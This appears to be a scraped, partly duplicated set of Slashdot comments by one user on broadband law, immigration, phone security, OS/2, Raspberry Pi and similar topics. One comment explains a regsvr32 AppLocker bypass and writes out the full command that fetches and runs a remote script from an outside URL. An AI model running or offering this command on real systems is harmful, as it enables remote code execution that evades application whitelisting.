As someone who lives in a community in Colorado that just passed it's exemption I can tell you that SB 152 is highly unpopular. (Our SB 152 exemption passed by 84.5%.) For many small rural mountain towns, treating internet as a utility makes sense to people. It also allows towns to provide free wifi in public use areas such as shopping districts or parks.
What the article does not mention, is that DORA has already allotted $20 million in grants for community/government broadband in CO. But in order to qualify for any of it, communities must pass a SB 152 exemption. So regardless of how much cable companies spend to lobby, cities and counties are opting out because it is in their best interest to do so.
I have heard this argument so many times, but it is flawed. You are looking at jobs as if they are static fixed things like physical goods. That is simply not the case. Many immigrants move to a new country and START a business. Are they stealing your children's jobs too?
What happens to your 'they are stealing the jobs' argument in the next 50 years as the Earth's median population gets older and older? In 1950 the average age of a human being on earth was under 30. Right now the average age worldwide is around 33 years old. In the USA it is 38 years and that 5 year difference represents a vast population of aging baby-boomers born after WWII that require ever increasing care. (Well at least for the next 25 or 30 years) Demographically at some point you are going to have to choose whether you want your parents to be taken care of by immigrants or robots. There simply won't be enough working age 'americans' to do the work. In case you think I'm lying or making things up, just visit any assisted living facility anywhere in the US. It's already happening. There is and always will be a place in America for immigrants. If there were no jobs here for them they would not come here legally or otherwise. My grandparents came here from eastern europe fleeing tyrany, war and starvation in the early 20th century. Who am I to turn down someone coming here today for the exact same reason?! What kind of hypocrite would I be?
This kind of Nationalist, Populist, B.S. will be the death of us all. I for one want the Star Trek future promised to me by Gene Roddenberry and Bill Hicks. The one where we quit being greedy selfish beasts and become civilized. After all, it's just a ride
Are you sure you are important enough as a person to warrant that much effort?
The victims 'importance' (or lack thereof) has little to do with data security. Once your device (PC/tablet/mobile/whatever) is lost or stolen, what happens next could just be for the Lulz...
Case in point. A friend of mine lost her mobile phone. It was found by nefarious folks who got into it and-
-changed all her social media passwords
- logged onto her email (without changing the passwords) and impersonated her to her contacts and family
- WRECKED her eBay account, which was her primary source of income
- eavesdrop and impersonated her on FB
- signed her up for identity protection (yes they did that)
- called and texted her repeatedly from different spoofed numbers just to harass her
They weren't stealing from her. It was all about harassment. But the takeaway is clear. The days where you could safely assume that thieves only want your hardware is gone and has been for some time. Thieves recognize that just like a wallet or safe, a cell phone or PC is a container and they want what is inside it.
Encrypt your data and keep backups, use strong passwords and never ever re-use passwords.
For anyone too young to remember, OS/2 Warp was an OS released by IBM to compete with Microsoft DOS in the late eighties. It was meant to be backward compatible and superior to DOS in just about every way(it really was too) . Because IBM had a better reputation for business/uptime/everything than Microsoft at the time OS/2 found wide usage in commercial & embedded devices (most notably ATMs). However, in the PC world, it didn't catch on. (Imagine having to install OS2 instead of DOS, then put windows on top of that. So unless your PC came with it you were probably SOL) So after a few years it was ONLY found in ATMs, where it continued to live all the way through the 1990s, eventually being replaced by XP.
OS/2 was pretty cool and I'd support this project if their pricing structure was geared to only charge for commercial use. They could have thousands of free beta testers. Charging hobby users will likely be their death knell... Just my 2 cents.
I'm all for companies open-sourcing cool algorithms. But not a great choice on the name. There are already several products out there called 'Lepton'. There's a software CMS, and also FLIR's thermal sensors are branded 'Lepton'. (Worth noting - Lepton IS an actual word so it probably won't qualify for Trademark protection. But an Apple Music vs. Apple Computer like scenario is not impossible to conceive.)
That page is tedious. The author provides no real description of his language other than to say it 'has a basic lexicon, syntax, and semantics' and 'is like the machine language of the universe. Any system you choose to analyze and model can be described in this language!' He asserts that his 'systemese' is based upon the way the human brain models systems. He reaches further at points to try to tie in the notion of sapience (read 'wisdom').
My instinct as a programmer tells me that once one actually tries to compile/interpret and run this 'systemese' the edge-cases take over and everything goes to hell
In order for it to work it would have to have a physics engine and extremely advanced.... Oh no! It can't be! It COULDN'T BE!
"If your teens would prefer gaming indoors, alone, as opposed to going out to the movies, meeting friends for burgers or any of the other ways that teens build camaraderie, you may have a problem."
I'm sorry but this is the same bullsh** parents used to spout when I was a child-
Don't waste your time playing video games! Go outside and get some sun! Why don't you go play football or something? you'll never if you just sit there on that computer all day.
Our parents meant well. But they didn't understand that games are the primary training tool for computer interfaces... They didn't see what was possible and thought we were all wasting our time. But now they know differently. Now they are all online and happy to receive pictures of their grandchildren and get to Skype/Facetime/etc with their families and friends. Now everyone wants their child into STEM and interest in football is waning because we've finally realized that repeatedly hitting our children in the head has consequences. At last, being a nerd is no longer a stigma.
If more than half of teens have this supposed 'problem' who is to say it's not the new normal? We ran up to them and handed them a baton and now we don't like which way they are running with it? If my generation had listened to our parent's the PC would have been a flash-in-the-pan fad and the world would look very different right now.
The real question for me is - What amazing things will this next generation do with the technology at their fingertips?
This isn't about gaining remote access to the system. This is about elevating access you already have.
Being able to use RegSrvr32.dll to bypass AppLocker provides arbitrary code execution without leaving any trace of it on the file system. Combine it with other vulnerabilities and you're cooking with gas!
This exploit does not need admin rights. I just tried it. the request for admin rights only happens when a DLL is registered/unregistered. The flag/n prevents DLLRegisterServer from being used which defers the permission check.
The real trick here is that regsrvr32.dll will take a URL instead of a file as a script. No one had tried that before.
(Scared me enough I made a new firewall rule blocking outbound connections from regsrvr32.dll.)
Anyone who wants to try the proof-of-concept just open a command prompt and enter (from the article) -
In addition, mobile providers sometimes exempt common high-data services like Netflix and Pandora from data caps.
Also it's worth noting that a lot of people in urban areas are pooling their wired internet. (There are a lot of cord cutters who either schmooze, steal or pay a few $ a month to ride on their neighbor's WiFi.)
In addition, there is precedent that would prevent FAA asserting jurisdiction all the way to the ground. (United States v. Causby - https://en.wikipedia.org/wiki/...) That case went all the way to SCOTUS and from the decision -
'Thus, a landowner "owns at least as much of the space above the ground as he can occupy or use in connection with the land," and invasions of that airspace "are in the same category as invasions of the surface.' ***
*** Many have interpreted this to mean that one owns the air 83 feet over one's property because that was the altitude of the aircraft that incurred the lawsuit. Regardless of the actual altitude, it's pretty clear that any aircraft interfering with a property owner on the ground is trespassing.
The whole point of providing such a service is to serve as a data source for the provider. Google and Microsoft get to basically MITM any shortened link and collect all sorts of data... all largely tolerated only because of the limited message length of services like Twitter.
Is it really so surprising that 3rd parties can also mine some of that data?
"It was terribly dangerous to let your thoughts wander when you were in any public place or within range of a telescreen. The smallest thing could give you away. A nervous tic, an unconscious look of anxiety, a habit of muttering to yourself – anything that carried with it the suggestion of abnormality"
- George Orwell, 1984
Sounds like Orwell's "facecrime" is dangerously close to becoming a real thing.
You are right about the days of vulnerabilities being reported to developers for 'free' being gone. This is largely due to the fact that bugs are no longer easily found by accident. It takes a lot of work to find exploitable vulnerabilities in devices and applications and exploits are in high demand. Just one zero-day for IOS can sell for hundreds of thousands $$$. (http://news.softpedia.com/news/exploit-vendor-publishes-price-list-ios-valued-above-android-496449.shtml)
But Apple can certainly take measures to 'fix its security issues' Their main problem is their lack of ANY bug bounty program. Apple should give researchers some incentive to disclose vulnerabilities... No they aren't going to be able to compete price-wise with the bad guys. Zero-Days will still be sold on the black market. But by offering bounties they show the community at-large that they at least appreciate the effort involved in finding, reproducing, documenting and disclosing exploits. A well-planned bug bounty program also gives ethical hackers the permission, guidelines and communication channels required to 'do the right thing'. Without an explicit policy those who disclose exploits to vendors could be accused of attempting to 'hack' the system even if the bug was discovered accidentally.
What Apple needs to realize is that for every exploit it only takes one disclosure for them to fix it. Every bug bounty is a personal ad, a search for that one person. If 100 people find the same exploit and 99 of them sell it but 1 person reports it, then Apple and their customers win. Once the exploit is disclosed and patched no one can use it. That one ethical person has undone the efforts of the other 99 jerks and we are all more secure for it.
(Seriously, United F****ing Airlines has a bug bounty program, how can Apple NOT have one?!?!?)
So there's another reason to be worried then. In your example you are having IFTTT move pictures from Dropbox to Evernote. But the IFTTT license terms shown on the blog show IFTTT asserting ownership not just of their APIs but also of any content that moves across them. From the blog -
"3. Ownership. IFTTT shall own all right, title, and interest (and all related moral rights and intellectual property rights) in and to the Developer Tool, Service, and Content."
So if they own all content that moves through their API, do they now 'own' your photos? Can they even do that? Most web pages assert that content belongs to the poster. So can a 3rd party service have that web page sign ownership away of data it does not own? (i.e - Your tweets don't belong to Twitter. They belong to you. So Twitter can't grant ownership of them to IFTTT). Looking at their end-user license terms (https://ifttt.com/terms) they seem to acknowledge this (sort of) -
"Copying or storing of any Content for other than personal, noncommercial use is expressly prohibited without prior written permission from IFTTT or from the copyright holder identified in such Content's copyright notice. You shall abide by all copyright notices, information, and restrictions contained in any Content accessed through the Services."
Get permission from us OR the copyright holder?!?! So presumably you could grant yourself permission to use your own photos. This doesn't mean that IFTTT couldn't also use those photos as it looks like you've granted them that right by gracing their network with it. This all sounds very, very shady...
... through his modeling agency (Trump Model Management). From CNN (http://money.cnn.com/2016/03/10/news/trump-model-visas/)-
"Government data analyzed by Howard University professor Ron Hira shows that since 2008, Trump's agency has successfully brought over around 30 foreign models -- from countries like Brazil, Latvia and China -- using the H-1B program."
Seems a bit disingenuous to be courting the disgruntled in one industry while creating them in another.
If they're going to do that, they could have Windows Update just download and install Debian Jessie for me... Save me the trouble of wiping Windows 10 at least.
Snappy is Cannical's attempt to get rid of apt because it doesn't work for paid apps. They've abandoned the Ubuntu Software Center (and the developers there) and are now pushing this crap. Whatever claim they make about 'sandboxing' and 'security', the end goal is to monetize apps to phone and tablet users. This might not even be so bad if it worked. But Snappy is not ready for primetime. It is cumbersome and buggy.
I also question the usefulness of an 'app-store' style package management system to a platform that is geared to education. The Raspberry Pi Platform's strength is in its openness and community support. It's gonna suck to see step 4 in EVERY pi project article be 'Go install Core on your pi, then buy my app'.
So really who cares if Core/Snappy has GPIO. So does Windows 10 IOT. Having tried both images out, WIndows IOT might actually be more useful than Ubuntu Core on the Pi right now. (At least is runs Node.js)
I'll take apt or pip (or mercurial or Github for that matter) over Snappy any day.
Folks. Some of those vacuum tube designs are almost 100. Please STOP using them for new designs! (Guitar Amp designers, THIS MEANS YOU. You should only use enhancement mode MOSFETs in Class D configurations. Do you hear me!?!?? Don't listen to those pesky guitarists who tell you they like the way their tubes sound. The numbers don't lie.
Then again there ARE metrics that matter that don't make the datasheet. If you disagree, I will happily accept all NOS vacuum tubes that anybody wants to send me.
I use both the Raspberry Pi 2 and oDroid platforms. C1 is nice and has 'pseudo-compatibility' with pi GPIO. (many pi hats will work on the C1.) But even though it's close to the same form factor there are some notable differences. The C1 uses a micro-HDMI connector so some HDMI shields won't work. Also the C1 does not have dedicated camera ribbon connector. If you need a camera you just use a USB webcam. It's also not physically compatible (i.e. a Pi case generally won't fit a C1.)
Having said that the C1 has some serious things in its favor- it's faster than a Raspberry Pi 2, slightly cheaper and unlike the pi, it has three ANALOG inputs. That alone makes it an awesome little SBC. But on top of that there's one more trick up its sleeve- It has an eMMC slot. So instead of relying on (slow) SDHC for your storage, you can have the OS boot from MMC. This makes the C1 boot and load applications noticeably faster than the Pi 2.
I took a Roland TR-626 drum machine from 1988 and hacked a 48x8 solid state patch bay into it, controlled by an arduino and touchscreen. The result is a lot of fun to play with....
Slashdot Mirror
Not new either... El Santo invented this WAY back in the 1930s.
https://en.wikipedia.org/wiki/Santo
As someone who lives in a community in Colorado that just passed it's exemption I can tell you that SB 152 is highly unpopular. (Our SB 152 exemption passed by 84.5%.) For many small rural mountain towns, treating internet as a utility makes sense to people. It also allows towns to provide free wifi in public use areas such as shopping districts or parks.
What the article does not mention, is that DORA has already allotted $20 million in grants for community/government broadband in CO. But in order to qualify for any of it, communities must pass a SB 152 exemption. So regardless of how much cable companies spend to lobby, cities and counties are opting out because it is in their best interest to do so.
I have heard this argument so many times, but it is flawed. You are looking at jobs as if they are static fixed things like physical goods. That is simply not the case. Many immigrants move to a new country and START a business. Are they stealing your children's jobs too?
What happens to your 'they are stealing the jobs' argument in the next 50 years as the Earth's median population gets older and older? In 1950 the average age of a human being on earth was under 30. Right now the average age worldwide is around 33 years old. In the USA it is 38 years and that 5 year difference represents a vast population of aging baby-boomers born after WWII that require ever increasing care. (Well at least for the next 25 or 30 years) Demographically at some point you are going to have to choose whether you want your parents to be taken care of by immigrants or robots. There simply won't be enough working age 'americans' to do the work. In case you think I'm lying or making things up, just visit any assisted living facility anywhere in the US. It's already happening. There is and always will be a place in America for immigrants. If there were no jobs here for them they would not come here legally or otherwise. My grandparents came here from eastern europe fleeing tyrany, war and starvation in the early 20th century. Who am I to turn down someone coming here today for the exact same reason?! What kind of hypocrite would I be?
This kind of Nationalist, Populist, B.S. will be the death of us all. I for one want the Star Trek future promised to me by Gene Roddenberry and Bill Hicks. The one where we quit being greedy selfish beasts and become civilized. After all, it's just a ride
Are you sure you are important enough as a person to warrant that much effort?
The victims 'importance' (or lack thereof) has little to do with data security. Once your device (PC/tablet/mobile/whatever) is lost or stolen, what happens next could just be for the Lulz...
Case in point. A friend of mine lost her mobile phone. It was found by nefarious folks who got into it and-
They weren't stealing from her. It was all about harassment. But the takeaway is clear. The days where you could safely assume that thieves only want your hardware is gone and has been for some time. Thieves recognize that just like a wallet or safe, a cell phone or PC is a container and they want what is inside it.
Encrypt your data and keep backups, use strong passwords and never ever re-use passwords.
For anyone too young to remember, OS/2 Warp was an OS released by IBM to compete with Microsoft DOS in the late eighties. It was meant to be backward compatible and superior to DOS in just about every way(it really was too) . Because IBM had a better reputation for business/uptime/everything than Microsoft at the time OS/2 found wide usage in commercial & embedded devices (most notably ATMs). However, in the PC world, it didn't catch on. (Imagine having to install OS2 instead of DOS, then put windows on top of that. So unless your PC came with it you were probably SOL) So after a few years it was ONLY found in ATMs, where it continued to live all the way through the 1990s, eventually being replaced by XP.
OS/2 was pretty cool and I'd support this project if their pricing structure was geared to only charge for commercial use. They could have thousands of free beta testers. Charging hobby users will likely be their death knell... Just my 2 cents.
I'm all for companies open-sourcing cool algorithms. But not a great choice on the name. There are already several products out there called 'Lepton'. There's a software CMS, and also FLIR's thermal sensors are branded 'Lepton'. (Worth noting - Lepton IS an actual word so it probably won't qualify for Trademark protection. But an Apple Music vs. Apple Computer like scenario is not impossible to conceive.)
That page is tedious. The author provides no real description of his language other than to say it 'has a basic lexicon, syntax, and semantics' and 'is like the machine language of the universe. Any system you choose to analyze and model can be described in this language!' He asserts that his 'systemese' is based upon the way the human brain models systems. He reaches further at points to try to tie in the notion of sapience (read 'wisdom').
My instinct as a programmer tells me that once one actually tries to compile/interpret and run this 'systemese' the edge-cases take over and everything goes to hell
In order for it to work it would have to have a physics engine and extremely advanced.... Oh no! It can't be! It COULDN'T BE!
SI language demo - https://www.youtube.com/watch?...
"If your teens would prefer gaming indoors, alone, as opposed to going out to the movies, meeting friends for burgers or any of the other ways that teens build camaraderie, you may have a problem."
I'm sorry but this is the same bullsh** parents used to spout when I was a child-
Don't waste your time playing video games!
Go outside and get some sun!
Why don't you go play football or something?
you'll never if you just sit there on that computer all day.
Our parents meant well. But they didn't understand that games are the primary training tool for computer interfaces... They didn't see what was possible and thought we were all wasting our time. But now they know differently. Now they are all online and happy to receive pictures of their grandchildren and get to Skype/Facetime/etc with their families and friends. Now everyone wants their child into STEM and interest in football is waning because we've finally realized that repeatedly hitting our children in the head has consequences. At last, being a nerd is no longer a stigma.
If more than half of teens have this supposed 'problem' who is to say it's not the new normal? We ran up to them and handed them a baton and now we don't like which way they are running with it? If my generation had listened to our parent's the PC would have been a flash-in-the-pan fad and the world would look very different right now.
The real question for me is - What amazing things will this next generation do with the technology at their fingertips?
This isn't about gaining remote access to the system. This is about elevating access you already have.
Being able to use RegSrvr32.dll to bypass AppLocker provides arbitrary code execution without leaving any trace of it on the file system. Combine it with other vulnerabilities and you're cooking with gas!
This exploit does not need admin rights. I just tried it. the request for admin rights only happens when a DLL is registered/unregistered. The flag /n prevents DLLRegisterServer from being used which defers the permission check.
The real trick here is that regsrvr32.dll will take a URL instead of a file as a script. No one had tried that before.
(Scared me enough I made a new firewall rule blocking outbound connections from regsrvr32.dll.)
Anyone who wants to try the proof-of-concept just open a command prompt and enter (from the article) -
regsvr32 /s /n /u /i:http://reg.cx/2kK3 scrobj.dll
In addition, mobile providers sometimes exempt common high-data services like Netflix and Pandora from data caps.
Also it's worth noting that a lot of people in urban areas are pooling their wired internet. (There are a lot of cord cutters who either schmooze, steal or pay a few $ a month to ride on their neighbor's WiFi.)
In addition, there is precedent that would prevent FAA asserting jurisdiction all the way to the ground. (United States v. Causby - https://en.wikipedia.org/wiki/...) That case went all the way to SCOTUS and from the decision -
'Thus, a landowner "owns at least as much of the space above the ground as he can occupy or use in connection with the land," and invasions of that airspace "are in the same category as invasions of the surface.' ***
*** Many have interpreted this to mean that one owns the air 83 feet over one's property because that was the altitude of the aircraft that incurred the lawsuit. Regardless of the actual altitude, it's pretty clear that any aircraft interfering with a property owner on the ground is trespassing.
The whole point of providing such a service is to serve as a data source for the provider. Google and Microsoft get to basically MITM any shortened link and collect all sorts of data... all largely tolerated only because of the limited message length of services like Twitter.
Is it really so surprising that 3rd parties can also mine some of that data?
"It was terribly dangerous to let your thoughts wander when you were in any public place or within range of a telescreen. The smallest thing could give you away. A nervous tic, an unconscious look of anxiety, a habit of muttering to yourself – anything that carried with it the suggestion of abnormality"
- George Orwell, 1984
Sounds like Orwell's "facecrime" is dangerously close to becoming a real thing.
You are right about the days of vulnerabilities being reported to developers for 'free' being gone. This is largely due to the fact that bugs are no longer easily found by accident. It takes a lot of work to find exploitable vulnerabilities in devices and applications and exploits are in high demand. Just one zero-day for IOS can sell for hundreds of thousands $$$. (http://news.softpedia.com/news/exploit-vendor-publishes-price-list-ios-valued-above-android-496449.shtml)
But Apple can certainly take measures to 'fix its security issues' Their main problem is their lack of ANY bug bounty program. Apple should give researchers some incentive to disclose vulnerabilities... No they aren't going to be able to compete price-wise with the bad guys. Zero-Days will still be sold on the black market. But by offering bounties they show the community at-large that they at least appreciate the effort involved in finding, reproducing, documenting and disclosing exploits. A well-planned bug bounty program also gives ethical hackers the permission, guidelines and communication channels required to 'do the right thing'. Without an explicit policy those who disclose exploits to vendors could be accused of attempting to 'hack' the system even if the bug was discovered accidentally.
What Apple needs to realize is that for every exploit it only takes one disclosure for them to fix it. Every bug bounty is a personal ad, a search for that one person. If 100 people find the same exploit and 99 of them sell it but 1 person reports it, then Apple and their customers win. Once the exploit is disclosed and patched no one can use it. That one ethical person has undone the efforts of the other 99 jerks and we are all more secure for it.
(Seriously, United F****ing Airlines has a bug bounty program, how can Apple NOT have one?!?!?)
So there's another reason to be worried then. In your example you are having IFTTT move pictures from Dropbox to Evernote. But the IFTTT license terms shown on the blog show IFTTT asserting ownership not just of their APIs but also of any content that moves across them. From the blog -
"3. Ownership. IFTTT shall own all right, title, and interest (and all related moral rights and intellectual property rights) in and to the Developer Tool, Service, and Content."
So if they own all content that moves through their API, do they now 'own' your photos? Can they even do that? Most web pages assert that content belongs to the poster. So can a 3rd party service have that web page sign ownership away of data it does not own? (i.e - Your tweets don't belong to Twitter. They belong to you. So Twitter can't grant ownership of them to IFTTT). Looking at their end-user license terms (https://ifttt.com/terms) they seem to acknowledge this (sort of) -
"Copying or storing of any Content for other than personal, noncommercial use is expressly prohibited without prior written permission from IFTTT or from the copyright holder identified in such Content's copyright notice. You shall abide by all copyright notices, information, and restrictions contained in any Content accessed through the Services."
Get permission from us OR the copyright holder?!?! So presumably you could grant yourself permission to use your own photos. This doesn't mean that IFTTT couldn't also use those photos as it looks like you've granted them that right by gracing their network with it. This all sounds very, very shady...
... through his modeling agency (Trump Model Management). From CNN (http://money.cnn.com/2016/03/10/news/trump-model-visas/)-
"Government data analyzed by Howard University professor Ron Hira shows that since 2008, Trump's agency has successfully brought over around 30 foreign models -- from countries like Brazil, Latvia and China -- using the H-1B program."
Seems a bit disingenuous to be courting the disgruntled in one industry while creating them in another.
From the article - 'In the recent Windows update, this option was checked as default; this was a mistake and we are removing the check.'
That is one heck of a mistake!!!
If they're going to do that, they could have Windows Update just download and install Debian Jessie for me... Save me the trouble of wiping Windows 10 at least.
Snappy is Cannical's attempt to get rid of apt because it doesn't work for paid apps. They've abandoned the Ubuntu Software Center (and the developers there) and are now pushing this crap. Whatever claim they make about 'sandboxing' and 'security', the end goal is to monetize apps to phone and tablet users. This might not even be so bad if it worked. But Snappy is not ready for primetime. It is cumbersome and buggy.
I also question the usefulness of an 'app-store' style package management system to a platform that is geared to education. The Raspberry Pi Platform's strength is in its openness and community support. It's gonna suck to see step 4 in EVERY pi project article be 'Go install Core on your pi, then buy my app'.
So really who cares if Core/Snappy has GPIO. So does Windows 10 IOT. Having tried both images out, WIndows IOT might actually be more useful than Ubuntu Core on the Pi right now. (At least is runs Node.js)
I'll take apt or pip (or mercurial or Github for that matter) over Snappy any day.
Folks. Some of those vacuum tube designs are almost 100. Please STOP using them for new designs! (Guitar Amp designers, THIS MEANS YOU. You should only use enhancement mode MOSFETs in Class D configurations. Do you hear me!?!?? Don't listen to those pesky guitarists who tell you they like the way their tubes sound. The numbers don't lie.
Then again there ARE metrics that matter that don't make the datasheet. If you disagree, I will happily accept all NOS vacuum tubes that anybody wants to send me.
I use both the Raspberry Pi 2 and oDroid platforms. C1 is nice and has 'pseudo-compatibility' with pi GPIO. (many pi hats will work on the C1.) But even though it's close to the same form factor there are some notable differences. The C1 uses a micro-HDMI connector so some HDMI shields won't work. Also the C1 does not have dedicated camera ribbon connector. If you need a camera you just use a USB webcam. It's also not physically compatible (i.e. a Pi case generally won't fit a C1.)
Having said that the C1 has some serious things in its favor- it's faster than a Raspberry Pi 2, slightly cheaper and unlike the pi, it has three ANALOG inputs. That alone makes it an awesome little SBC. But on top of that there's one more trick up its sleeve- It has an eMMC slot. So instead of relying on (slow) SDHC for your storage, you can have the OS boot from MMC. This makes the C1 boot and load applications noticeably faster than the Pi 2.
Oh and did I mention? - the C1 can run Android...
This one -
https://www.youtube.com/watch?...
I took a Roland TR-626 drum machine from 1988 and hacked a 48x8 solid state patch bay into it, controlled by an arduino and touchscreen. The result is a lot of fun to play with....